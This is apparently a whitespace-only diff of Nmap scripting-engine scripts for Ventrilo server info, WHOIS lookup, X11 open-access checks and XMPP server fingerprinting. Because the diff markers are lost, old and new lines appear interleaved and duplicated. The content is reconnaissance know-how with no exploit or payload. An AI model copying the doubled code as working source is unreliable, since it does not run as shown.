head[i] = bit.band(head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)), 0xFF)
a2 = bit.band(a2 + a1, 0xFF)
end
for i = 3,19,2 do
head[i], head[i + 1] = head[i + 1], head[i]
end
for i = 3,19,2 do
head[i], head[i + 1] = head[i + 1], head[i]
end
local id = head[7] + bit.lshift(head[8], 8)
local totlen = head[9] + bit.lshift(head[10], 8)
local len = head[11] + bit.lshift(head[12], 8)
local totpck = head[13] + bit.lshift(head[14], 8)
local pck = head[15] + bit.lshift(head[16], 8)
local key = head[17] + bit.lshift(head[18], 8)
local crc_sum = head[19] + bit.lshift(head[20], 8)
local id = head[7] + bit.lshift(head[8], 8)
local totlen = head[9] + bit.lshift(head[10], 8)
local len = head[11] + bit.lshift(head[12], 8)
local totpck = head[13] + bit.lshift(head[14], 8)
local pck = head[15] + bit.lshift(head[16], 8)
local key = head[17] + bit.lshift(head[18], 8)
local crc_sum = head[19] + bit.lshift(head[20], 8)
return id, len, totlen, pck, totpck, key, crc_sum
return id, len, totlen, pck, totpck, key, crc_sum
end
-- Decrypts the Ventrilo UDP status response data segment.
@@ -310,21 +310,21 @@ end
-- @param len length of the data segment of this response packet
-- @param key key for decrypting the data segment
local dec_data = function(str, len, key)
-- skip the header (first 20 bytes)
local data = { string.byte(str, 21, 20 + len) }
-- skip the header (first 20 bytes)
local data = { string.byte(str, 21, 20 + len) }
local a1 = bit.band(key, 0xFF)
if a1 == 0 then
return table.concat(data)
end
local a2 = bit.rshift(key, 8)
local a1 = bit.band(key, 0xFF)
if a1 == 0 then
return table.concat(data)
end
local a2 = bit.rshift(key, 8)
for i = 1,len do
data[i] = bit.band(data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)), 0xFF)
a2 = bit.band(a2 + a1, 0xFF)
end
for i = 1,len do
data[i] = bit.band(data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)), 0xFF)
a2 = bit.band(a2 + a1, 0xFF)
end
return string.char(table.unpack(data))
return string.char(table.unpack(data))
end
-- Convenient wrapper for string.find(...). Returns the position of the end of
@@ -336,8 +336,8 @@ end
-- @return newpos position of the end of the match, or pos if no match found
-- @return cap the first capture, or "n/a" if one was not found
local str_find = function(str, pattern, pos)
local _, newpos, cap = string.find(str, pattern, pos)
return newpos or pos, cap or "n/a"
local _, newpos, cap = string.find(str, pattern, pos)
return newpos or pos, cap or "n/a"
end
-- Calculates the CRC checksum used for checking the integrity of the received
@@ -345,322 +345,322 @@ end
-- @param data data to calculate the checksum of
-- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers
local crc = function(data)
local sum = 0
for i = 1,#data do
sum = bit.band(bit.bxor(crypt_crc[bit.rshift(sum, 8) + 1],
data:byte(i), bit.lshift(sum, 8)), 0xFFFF)
end
return sum
local sum = 0
for i = 1,#data do
sum = bit.band(bit.bxor(crypt_crc[bit.rshift(sum, 8) + 1],
data:byte(i), bit.lshift(sum, 8)), 0xFFFF)
end
return sum
end
-- Parses the status response data segment and constructs an output table.
-- @param Ventrilo UDP status response data segment
-- @return info output table representing Ventrilo UDP status response info
local o_table = function(data)
local info = stdnse.output_table()
local pos
local info = stdnse.output_table()
local pos
pos, info.name = str_find(data, "NAME: ([^\n]*)", 0)
pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos)
pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos)
pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos)
pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos)
pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos)
pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos)
pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos)
pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos)
pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos)
pos, info.name = str_find(data, "NAME: ([^\n]*)", 0)
pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos)
pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos)
pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos)
pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos)
pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos)
pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos)
pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos)
pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos)
pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos)
-- channels
pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos)
pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos)
-- channels
pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos)
pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos)
-- construct channel fields as a nice list instead of the raw data
local channelfields = {}
for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do
channelfields[#channelfields + 1] = channelfield
-- construct channel fields as a nice list instead of the raw data
local channelfields = {}
for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do
channelfields[#channelfields + 1] = channelfield
end
info.channelfields = channelfields
-- parse and add channels
info.channels = stdnse.output_table()
-- add top level lobby channel (CID = 0)
info.channels["0"] = stdnse.output_table()
info.channels["0"].NAME = "<top level lobby>"
info.channels["0"].CID = "0"
while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
local channel = stdnse.output_table()
for _, channelfield in ipairs(info.channelfields) do
pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
end
info.channelfields = channelfields
-- parse and add channels
info.channels = stdnse.output_table()
-- add top level lobby channel (CID = 0)
info.channels["0"] = stdnse.output_table()
info.channels["0"].NAME = "<top level lobby>"
info.channels["0"].CID = "0"
while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
local channel = stdnse.output_table()
for _, channelfield in ipairs(info.channelfields) do
pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
end
if channel.CID then
info.channels[channel.CID] = channel
end
if channel.CID then
info.channels[channel.CID] = channel
end
end
-- clients
pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos)
pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos)
-- clients
pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos)
pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos)
-- construct client fields as a nice list instead of the raw data
local clientfields = {}
for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do
clientfields[#clientfields + 1] = clientfield
-- construct client fields as a nice list instead of the raw data
local clientfields = {}
for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do
clientfields[#clientfields + 1] = clientfield
end
info.clientfields = clientfields
-- parse and add clients
while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do
local client = stdnse.output_table()
for _, clientfield in ipairs(info.clientfields) do
pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos)
end
info.clientfields = clientfields
-- parse and add clients
while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do
local client = stdnse.output_table()
for _, clientfield in ipairs(info.clientfields) do
pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos)
end
if client.CID then
if not info.channels[client.CID] then
-- weird clients with unrecognized CID are put in the -1 channel
if not info.channels["-1"] then
-- add channel for weird clients with unrecognized CIDs
info.channels["-1"] = stdnse.output_table()
info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
info.channels["-1"].CID = "-1"
info.channels["-1"].clients = {}
end
table.insert(info.channels["-1"].clients, client)
elseif not info.channels[client.CID].clients then
-- channel had no clients, create table for the 1st client
info.channels[client.CID].clients = {}
table.insert(info.channels[client.CID].clients, client)
else
table.insert(info.channels[client.CID].clients, client)
end
if client.CID then
if not info.channels[client.CID] then
-- weird clients with unrecognized CID are put in the -1 channel
if not info.channels["-1"] then
-- add channel for weird clients with unrecognized CIDs
info.channels["-1"] = stdnse.output_table()
info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
info.channels["-1"].CID = "-1"
info.channels["-1"].clients = {}
end
table.insert(info.channels["-1"].clients, client)
elseif not info.channels[client.CID].clients then
-- channel had no clients, create table for the 1st client
info.channels[client.CID].clients = {}
table.insert(info.channels[client.CID].clients, client)
else
table.insert(info.channels[client.CID].clients, client)
end
end
end
return info
return info
end
-- Constructs an output string from an output table for use in normal output.
-- @param info output table
-- @return output_string output string
local o_str = function(info)
local buf = strbuf.new()
buf = buf .. "\nname: "
buf = buf .. info.name
buf = buf .. "\nphonetic: "
buf = buf .. info.phonetic
buf = buf .. "\ncomment: "
buf = buf .. info.comment
buf = buf .. "\nauth: "
buf = buf .. auth_str(info.auth)
buf = buf .. "\nmax. clients: "
buf = buf .. info.maxclients
buf = buf .. "\nvoice codec: "
buf = buf .. info.voicecodec
buf = buf .. "\nvoice format: "
buf = buf .. info.voiceformat
buf = buf .. "\nuptime: "
buf = buf .. uptime_str(info.uptime)
buf = buf .. "\nplatform: "
buf = buf .. info.platform
buf = buf .. "\nversion: "
buf = buf .. info.version
buf = buf .. "\nchannel count: "
buf = buf .. info.channelcount
buf = buf .. "\nchannel fields: "
for i, channelfield in ipairs(info.channelfields) do
local buf = strbuf.new()
buf = buf .. "\nname: "
buf = buf .. info.name
buf = buf .. "\nphonetic: "
buf = buf .. info.phonetic
buf = buf .. "\ncomment: "
buf = buf .. info.comment
buf = buf .. "\nauth: "
buf = buf .. auth_str(info.auth)
buf = buf .. "\nmax. clients: "
buf = buf .. info.maxclients
buf = buf .. "\nvoice codec: "
buf = buf .. info.voicecodec
buf = buf .. "\nvoice format: "
buf = buf .. info.voiceformat
buf = buf .. "\nuptime: "
buf = buf .. uptime_str(info.uptime)
buf = buf .. "\nplatform: "
buf = buf .. info.platform
buf = buf .. "\nversion: "
buf = buf .. info.version
buf = buf .. "\nchannel count: "
buf = buf .. info.channelcount
buf = buf .. "\nchannel fields: "
for i, channelfield in ipairs(info.channelfields) do
buf = buf .. channelfield
if i ~= #info.channelfields then
buf = buf .. ", "
end
end
buf = buf .. "\nclient count: "
buf = buf .. info.clientcount
buf = buf .. "\nclient fields: "
for i, clientfield in ipairs(info.clientfields) do
buf = buf .. clientfield
if i ~= #info.clientfields then
buf = buf .. ", "
end
end
buf = buf .. "\nchannels:"
for i, channel in pairs(info.channels) do
buf = buf .. "\n"
buf = buf .. channel.NAME
buf = buf .. " ("
for j, channelfield in ipairs(info.channelfields) do
if channelfield ~= "NAME" and channelfield ~= "n/a" then
buf = buf .. channelfield
if i ~= #info.channelfields then
buf = buf .. ", "
buf = buf .. ": "
buf = buf .. (channel[channelfield] or "n/a")
if j ~= #info.channelfields then
buf = buf .. ", "
end
end
end
buf = buf .. "\nclient count: "
buf = buf .. info.clientcount
buf = buf .. "\nclient fields: "
for i, clientfield in ipairs(info.clientfields) do
buf = buf .. clientfield
if i ~= #info.clientfields then
buf = buf .. ", "
end
end
buf = buf .. "\nchannels:"
for i, channel in pairs(info.channels) do
buf = buf .. "\n"
buf = buf .. channel.NAME
buf = buf .. "): "
if not channel.clients then
buf = buf .. "<empty>"
else
for j, client in ipairs(channel.clients) do
buf = buf .. "\n "
buf = buf .. client.NAME
buf = buf .. " ("
for j, channelfield in ipairs(info.channelfields) do
if channelfield ~= "NAME" and channelfield ~= "n/a" then
buf = buf .. channelfield
buf = buf .. ": "
buf = buf .. (channel[channelfield] or "n/a")
if j ~= #info.channelfields then
buf = buf .. ", "
end
end
end
buf = buf .. "): "
if not channel.clients then
buf = buf .. "<empty>"
else
for j, client in ipairs(channel.clients) do
buf = buf .. "\n "
buf = buf .. client.NAME
buf = buf .. " ("
for k, clientfield in ipairs(info.clientfields) do
if clientfield ~= "NAME" and clientfield ~= "CID" then
buf = buf .. clientfield
buf = buf .. ": "
buf = buf .. client[clientfield]
if k ~= #info.clientfields then
buf = buf .. ", "
end
end
end
for k, clientfield in ipairs(info.clientfields) do
if clientfield ~= "NAME" and clientfield ~= "CID" then
buf = buf .. clientfield
buf = buf .. ": "
buf = buf .. client[clientfield]
if k ~= #info.clientfields then
buf = buf .. ", "
end
end
end
end
end
end
return strbuf.dump(buf, "")
return strbuf.dump(buf, "")
end
portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"})
action = function(host, port)
local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number)
mutex("lock")
local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number)
mutex("lock")
if host.registry["ventrilo-info"] == nil then
host.registry["ventrilo-info"] = {}
if host.registry["ventrilo-info"] == nil then
host.registry["ventrilo-info"] = {}
end
-- Maybe the script already ran for this port number on another protocol
local r = host.registry["ventrilo-info"][port.number]
if r == nil then
r = {}
host.registry["ventrilo-info"][port.number] = r
local socket = nmap.new_socket()
socket:set_timeout(2000)
local cleanup = function()
socket:close()
mutex("done")
end
-- Maybe the script already ran for this port number on another protocol
local r = host.registry["ventrilo-info"][port.number]
if r == nil then
r = {}
host.registry["ventrilo-info"][port.number] = r
local try = nmap.new_try(cleanup)
local socket = nmap.new_socket()
socket:set_timeout(2000)
local udpport = { number = port.number, protocol = "udp" }
try(socket:connect(host.ip, udpport))
local cleanup = function()
socket:close()
mutex("done")
end
local try = nmap.new_try(cleanup)
local udpport = { number = port.number, protocol = "udp" }
try(socket:connect(host.ip, udpport))
local status, response
-- try a couple of times on timeout, the service seems to not
-- respond if multiple requests come within a short timeframe
for _ = 1,3 do
try(socket:send(static_probe_payload))
status, response = socket:receive()
if status then
nmap.set_port_state(host, udpport, "open")
break
end
end
if not status then
-- 3 timeouts, no response
cleanup()
return
end
-- received the first packet, process it and others if they come
local fulldata = {}
local fulldatalen = 0
local curlen = 0
local head_crc_sum
while true do
-- decrypt received header and extract relevant information
local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
if id == static_probe_id then
curlen = curlen + len
head_crc_sum = crc_sum
-- check for an invalid response
if #response < 20 or pck >= totpck or
len > 492 or curlen > totlen then
stdnse.print_debug("Invalid response. Aborting script.")
cleanup()
return
end
-- keep track of the length of fulldata (# isn't applicable)
if fulldata[pck + 1] == nil then
fulldatalen = fulldatalen + 1
end
-- accumulate UDP packets that may not necessarily come in proper
-- order; arrange them by packet id
fulldata[pck + 1] = dec_data(response, len, key)
end
-- check for invalid states in communication
if (fulldatalen > totpck) or (curlen > totlen)
or (fulldatalen == totpck and curlen ~= totlen)
or (curlen == totlen and fulldatalen ~= totpck) then
stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen ..
"; totpck = " .. totpck .. "; curlen = " .. curlen ..
"; totlen = " .. totlen .. "). Aborting script.")
cleanup()
return
end
-- check for valid end of communication
if fulldatalen == totpck and curlen == totlen then
break
end
-- receive another packet
status, response = socket:receive()
if not status then
stdnse.print_debug("Response packets stopped coming midway. Aborting script.")
cleanup()
return
end
end
socket:close()
-- concatenate received data into a single string for further use
local fulldata_str = table.concat(fulldata)
-- check for an invalid checksum on the response data sections (no headers)
local fulldata_crc_sum = crc(fulldata_str)
if fulldata_crc_sum ~= head_crc_sum then
stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
cleanup()
return
end
-- parse the received data string into an output table
r.info = o_table(fulldata_str)
local status, response
-- try a couple of times on timeout, the service seems to not
-- respond if multiple requests come within a short timeframe
for _ = 1,3 do
try(socket:send(static_probe_payload))
status, response = socket:receive()
if status then
nmap.set_port_state(host, udpport, "open")
break
end
end
if not status then
-- 3 timeouts, no response
cleanup()
return
end
mutex("done")
-- received the first packet, process it and others if they come
local fulldata = {}
local fulldatalen = 0
local curlen = 0
local head_crc_sum
while true do
-- decrypt received header and extract relevant information
local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
-- If the registry is empty the port was probed but Ventrilo wasn't detected
if next(r) == nil then
if id == static_probe_id then
curlen = curlen + len
head_crc_sum = crc_sum
-- check for an invalid response
if #response < 20 or pck >= totpck or
len > 492 or curlen > totlen then
stdnse.print_debug("Invalid response. Aborting script.")
cleanup()
return
end
-- keep track of the length of fulldata (# isn't applicable)
if fulldata[pck + 1] == nil then
fulldatalen = fulldatalen + 1
end
-- accumulate UDP packets that may not necessarily come in proper
-- order; arrange them by packet id
fulldata[pck + 1] = dec_data(response, len, key)
end
-- check for invalid states in communication
if (fulldatalen > totpck) or (curlen > totlen)
or (fulldatalen == totpck and curlen ~= totlen)
or (curlen == totlen and fulldatalen ~= totpck) then
stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen ..
"; totpck = " .. totpck .. "; curlen = " .. curlen ..
"; totlen = " .. totlen .. "). Aborting script.")
cleanup()
return
end
-- check for valid end of communication
if fulldatalen == totpck and curlen == totlen then
break
end
-- receive another packet
status, response = socket:receive()
if not status then
stdnse.print_debug("Response packets stopped coming midway. Aborting script.")
cleanup()
return
end
end
port.version.name = "ventrilo"
port.version.name_confidence = 10
port.version.product = "Ventrilo"
port.version.version = r.info.version
port.version.ostype = r.info.platform
port.version.extrainfo = "; name: ".. r.info.name
if port.protocol == "tcp" then
port.version.extrainfo = "voice port" .. port.version.extrainfo
else
port.version.extrainfo = "status port" .. port.version.extrainfo
socket:close()
-- concatenate received data into a single string for further use
local fulldata_str = table.concat(fulldata)
-- check for an invalid checksum on the response data sections (no headers)
local fulldata_crc_sum = crc(fulldata_str)
if fulldata_crc_sum ~= head_crc_sum then
stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
cleanup()
return
end
port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
nmap.set_port_version(host, port, "hardmatched")
-- parse the received data string into an output table
r.info = o_table(fulldata_str)
end
-- an output table for XML output and a custom string for normal output
return r.info, o_str(r.info)
mutex("done")
-- If the registry is empty the port was probed but Ventrilo wasn't detected
if next(r) == nil then
return
end
port.version.name = "ventrilo"
port.version.name_confidence = 10
port.version.product = "Ventrilo"
port.version.version = r.info.version
port.version.ostype = r.info.platform
port.version.extrainfo = "; name: ".. r.info.name
if port.protocol == "tcp" then
port.version.extrainfo = "voice port" .. port.version.extrainfo
else
port.version.extrainfo = "status port" .. port.version.extrainfo
end
port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
nmap.set_port_version(host, port, "hardmatched")
-- an output table for XML output and a custom string for normal output
return r.info, o_str(r.info)
end

View File

@@ -90,86 +90,86 @@ local string = require "string"
local table = require "table"
hostrule = function( host )
local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false
end
local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false
end
return not is_private
return not is_private
end
action = function( host )
local mutexes = {}
local mutexes = {}
-- If the user has provided a domain name.
if host.targetname then
-- If the user has provided a domain name.
if host.targetname then
local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"}
local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"}
-- Remove www prefix and add a newline.
local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n"
-- Remove www prefix and add a newline.
local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n"
local result
local result
-- First server to query is iana's.
local referral = "whois.iana.org"
-- First server to query is iana's.
local referral = "whois.iana.org"
while referral do
while referral do
if not mutexes[referral] then
mutexes[referral] = nmap.mutex(referral)
end
if not mutexes[referral] then
mutexes[referral] = nmap.mutex(referral)
end
mutexes[referral] "lock"
mutexes[referral] "lock"
result = {}
local socket = nmap.new_socket()
local catch = function()
stdnse.print_debug( "fail")
socket:close()
end
result = {}
local socket = nmap.new_socket()
local catch = function()
stdnse.print_debug( "fail")
socket:close()
end
local status, line = {}
local try = nmap.new_try( catch )
local status, line = {}
local try = nmap.new_try( catch )
socket:set_timeout( 50000 )
socket:set_timeout( 50000 )
try( socket:connect(referral, 43 ) )
try( socket:send( query_data ) )
while true do
local status, lines = socket:receive_lines(1)
if not status then
break
else
result[#result+1] = lines
end
end
socket:close()
mutexes[referral] "done"
if #result == 0 then
return nil
end
table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
-- Do we have a referral?
referral = false
for _, p in ipairs(referral_patterns) do
referral = referral or string.match(table.concat(result), p)
end
try( socket:connect(referral, 43 ) )
try( socket:send( query_data ) )
while true do
local status, lines = socket:receive_lines(1)
if not status then
break
else
result[#result+1] = lines
end
end
socket:close()
mutexes[referral] "done"
if #result == 0 then
return nil
end
table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
-- Do we have a referral?
referral = false
for _, p in ipairs(referral_patterns) do
referral = referral or string.match(table.concat(result), p)
end
result = table.concat( result )
return result
end
return "You should provide a domain name."
result = table.concat( result )
return result
end
return "You should provide a domain name."
end

File diff suppressed because it is too large Load Diff

View File

@@ -28,47 +28,47 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe", "auth"}
portrule = function(host, port)
return ((port.number >= 6000 and port.number <= 6009)
or (port.service and string.match(port.service, "^X11")))
-- If port.version.product is not equal to nil, version
-- detection "-sV" has already done this X server test.
and port.version.product == nil
return ((port.number >= 6000 and port.number <= 6009)
or (port.service and string.match(port.service, "^X11")))
-- If port.version.product is not equal to nil, version
-- detection "-sV" has already done this X server test.
and port.version.product == nil
end
action = function(host, port)
local result, socket, try, catch
socket = nmap.new_socket()
catch = function()
socket:close()
end
local result, socket, try, catch
socket = nmap.new_socket()
catch = function()
socket:close()
end
try = nmap.new_try(catch)
try(socket:connect(host, port))
try = nmap.new_try(catch)
try(socket:connect(host, port))
-- Sending the network dump of a x11 connection request (captured
-- from the XOpenDisplay() function):
--
-- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00
-- 0x00 0x00 0x00 0x00 0x00 0x00
try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000"))
-- Sending the network dump of a x11 connection request (captured
-- from the XOpenDisplay() function):
--
-- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00
-- 0x00 0x00 0x00 0x00 0x00 0x00
try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000"))
-- According to the XOpenDisplay() sources, server answer is
-- stored in a xConnSetupPrefix structure [1]. The function
-- returns NULL if it does not succeed, and more precisely: When
-- the success field of this structure (stored on 1 byte) is not
-- equal to xTrue [2]. For more information, see the Xlib
-- programming Manual [3].
--
-- [1] xConnSetupPrefix structure is defined in X11/Xproto.h.
-- [2] xTrue = 0x01 according to X11/Xproto.h.
-- [3] http://www.sbin.org/doc/Xlib
-- According to the XOpenDisplay() sources, server answer is
-- stored in a xConnSetupPrefix structure [1]. The function
-- returns NULL if it does not succeed, and more precisely: When
-- the success field of this structure (stored on 1 byte) is not
-- equal to xTrue [2]. For more information, see the Xlib
-- programming Manual [3].
--
-- [1] xConnSetupPrefix structure is defined in X11/Xproto.h.
-- [2] xTrue = 0x01 according to X11/Xproto.h.
-- [3] http://www.sbin.org/doc/Xlib
result = try(socket:receive_bytes(1))
socket:close()
result = try(socket:receive_bytes(1))
socket:close()
-- Check if first byte received is 0x01 (xTrue: succeed).
if string.match(result, "^\001") then
return true, "X server access is granted"
end
-- Check if first byte received is 0x01 (xTrue: succeed).
if string.match(result, "^\001") then
return true, "X server access is granted"
end
end

View File

@@ -74,401 +74,401 @@ categories = {"default", "safe", "discovery", "version"}
local known_features = {
['starttls'] = true,
['compression'] = true,
['mechanisms'] = true,
['register'] = true,
['dialback'] = true,
['session'] = true,
['auth'] = true,
['bind'] = true,
['c'] = true,
['sm'] = true,
['amp'] = true,
['ver'] = true
['starttls'] = true,
['compression'] = true,
['mechanisms'] = true,
['register'] = true,
['dialback'] = true,
['session'] = true,
['auth'] = true,
['bind'] = true,
['c'] = true,
['sm'] = true,
['amp'] = true,
['ver'] = true
}
local check_citadele = function(id1, id2)
stdnse.print_debug("CHECK")
local i1 = tonumber(id1, 16)
local i2 = tonumber(id2, 16)
return i2 - i1 < 20 and i2 > i1
stdnse.print_debug("CHECK")
local i1 = tonumber(id1, 16)
local i2 = tonumber(id2, 16)
return i2 - i1 < 20 and i2 > i1
end
-- Be carefull while adding fingerprints into the table - it must be well sorted
-- as some fingerprints are actually supersetted by another...
local id_database = {
{
--f3af7012-5d06-41dc-b886-42521de4e198
--''
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 12) .. '$',
regexp2 = '^$',
name = 'prosody'
},
{
--f3af7012-5d06-41dc-b886-42521de4e198
--''
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 12) .. '$',
regexp2 = '^$',
name = 'prosody'
},
{
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
name = 'Citidel',
check = check_citadele
},
{
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
name = 'Citidel',
check = check_citadele
},
{
--1082952309
--(no)
regexp1 = '^' .. string.rep('[0-9]', 9) .. '$',
regexp2 = nil,
name = 'jabberd'
},
{
--1082952309
--(no)
regexp1 = '^' .. string.rep('[0-9]', 10) .. '$',
regexp2 = nil,
name = 'jabberd'
},
{
--1082952309
--(no)
regexp1 = '^' .. string.rep('[0-9]', 9) .. '$',
regexp2 = nil,
name = 'jabberd'
},
{
--1082952309
--(no)
regexp1 = '^' .. string.rep('[0-9]', 10) .. '$',
regexp2 = nil,
name = 'jabberd'
},
{
--8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c
--egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt
regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
name = 'jabberd2'
},
{
--8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c
--egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt
regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
name = 'jabberd2'
},
{
--4c9e369a841db417
--fc0a60b82275289e
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
name = 'Isode M-Link'
},
{
--4c9e369a841db417
--fc0a60b82275289e
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
name = 'Isode M-Link'
},
{
--1114798225
--494549622
regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
name = 'ejabberd'
},
{
--1114798225
--494549622
regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
name = 'ejabberd'
},
{
--5f049d72
--3b5b40b
regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
name = 'Openfire'
},
{
--5f049d72
--3b5b40b
regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
name = 'Openfire'
},
{
--c7cd895f-e006-473b-9623-c0aae85f17fc
--tigase-error-tigase
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 12) .. '$',
regexp2 = '^tigase[-]error[-]tigase$',
name = 'Tigase'
},
{
-- tigase.org (in case of bad DNS name):
--tigase-error-tigase
--tigase-error-tigase
regexp1 = '^tigase[-]error[-]tigase$',
regexp2 = '^tigase[-]error[-]tigase$',
name = 'Tigase'
},
{
--c7cd895f-e006-473b-9623-c0aae85f17fc
--tigase-error-tigase
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 12) .. '$',
regexp2 = '^tigase[-]error[-]tigase$',
name = 'Tigase'
},
{
-- tigase.org (in case of bad DNS name):
--tigase-error-tigase
--tigase-error-tigase
regexp1 = '^tigase[-]error[-]tigase$',
regexp2 = '^tigase[-]error[-]tigase$',
name = 'Tigase'
